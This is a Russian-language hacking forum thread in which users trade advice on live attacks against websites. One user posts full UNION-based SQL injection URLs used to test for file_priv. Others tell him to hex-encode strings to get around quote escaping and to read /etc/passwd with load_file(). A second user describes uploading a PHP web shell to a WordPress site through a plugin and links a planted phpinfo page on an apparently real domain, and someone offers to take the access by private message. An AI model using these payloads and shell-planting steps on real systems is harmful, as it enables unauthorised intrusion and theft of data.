07.02.2015, 23:59
|
|
Новичок
Регистрация: 23.09.2010
Сообщений: 5
С нами:
8229206
Репутация:
0
|
|
вопрос
хочю проверить наличие File_Priv
узнаю пользователя так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,user(),4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18--
получаю u1094094_sangha@дальше ip.
далле хочу узнать наличие File_Priv вот так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,file_priv, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+mysql. user+where+user='u1094094_sangha'--
и получаю You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'u1094094_sangha\'--' at line 1 (совет учить английский не помог)
что делаю нетак?
|
|
|
08.02.2015, 00:06
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
экранируются кавычки. используйте hex или char
|
|
|
|
08.02.2015, 00:28
|
|
Новичок
Регистрация: 23.09.2010
Сообщений: 5
С нами:
8229206
Репутация:
0
|
|
Сообщение от faza02
экранируются кавычки. используйте hex или char
как использовать char я знаю но не подошло
а как и где конвертировать hex ?
|
|
|
|
08.02.2015, 00:35
|
|
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
С нами:
9597253
Репутация:
82
|
|
Сообщение от MaxFast
Ну, вообще-то если ты загружаешь плагин - то шелл будет не в папке uploads. Скачай готовый плагин, замени файл на шелл, загрузи и иди по примерно такому пути: site.com/wp-content/plugins/название_плагина/файл_с_шеллом.php.
если грузить пхп а не зип то будет в папке аплоадс. но ето сути не меняет. не открывается так и так
как я понял сервер фильтрует евал и бас64. через простой пхп echo phpinfo(); открылось, залил через бд в корень. один фиг шел не открывается пишел соединение закрыто удаленым сервером
|
|
|
|
08.02.2015, 00:42
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от mazaxaka
если грузить пхп а не зип то будет в папке аплоадс. но ето сути не меняет. не открывается так и так
как я понял сервер фильтрует евал и бас64. через простой пхп echo phpinfo(); открылось, залил через бд в корень. один фиг шел не открывается пишел соединение закрыто удаленым сервером
покажите phpinfo
|
|
|
|
08.02.2015, 00:45
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от izzy
как использовать char я знаю но не подошло
а как и где конвертировать hex ?
ошибка та же? вы уверены, что есть доступ к таблице mysql? проще проверить функцией load_file()
|
|
|
|
08.02.2015, 04:22
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами:
8469890
Репутация:
0
|
|
Сообщение от izzy
вопрос
хочю проверить наличие File_Priv
узнаю пользователя так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,user(),4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18--
получаю u1094094_sangha@дальше ip.
далле хочу узнать наличие File_Priv вот так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,file_priv, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+mysql. user+where+user='u1094094_sangha'--
и получаю You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'u1094094_sangha\'--' at line 1 (совет учить английский не помог)
что делаю нетак?
Сначала проверь, есть ли доступ к mysql.user
union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18+from+mysql.user
|
|
|
|
08.02.2015, 05:28
|
|
Участник форума
Регистрация: 16.02.2008
Сообщений: 177
С нами:
9597253
Репутация:
82
|
|
Сообщение от faza02
покажите phpinfo
вот
Код:
ja-zdorov.com/images/php.php
|
|
|
|
08.02.2015, 13:36
|
|
Новичок
Регистрация: 23.09.2010
Сообщений: 5
С нами:
8229206
Репутация:
0
|
|
Сообщение от kingbeef
Сначала проверь, есть ли доступ к mysql.user
union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18+from+mysql.user
при таком +union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18+from+mysql.user--
пишет SELECT command denied to user 'u1094094_sangha'@'ип сайта' for table 'user' - это значит что нет?
|
|
|
|
08.02.2015, 13:42
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от izzy
при таком +union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18+from+mysql.user--
пишет SELECT command denied to user 'u1094094_sangha'@'ип сайта' for table 'user' - это значит что нет?
запрос:
Код:
SELECT 1 FROM mysql.user;
наличие доступа к бд mysql или наоборот, отсутствие, не говорит о том, что у пользователя нет file_priv. еще раз говорю, попробуйте load_file('/etc/passwd'). в вашем случае /etc/passwd надо заенкодить в hex.
Сообщение от mazaxaka
вот
Код:
ja-zdorov.com/images/php.php
отправьте доступ в лс, посмотрю
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
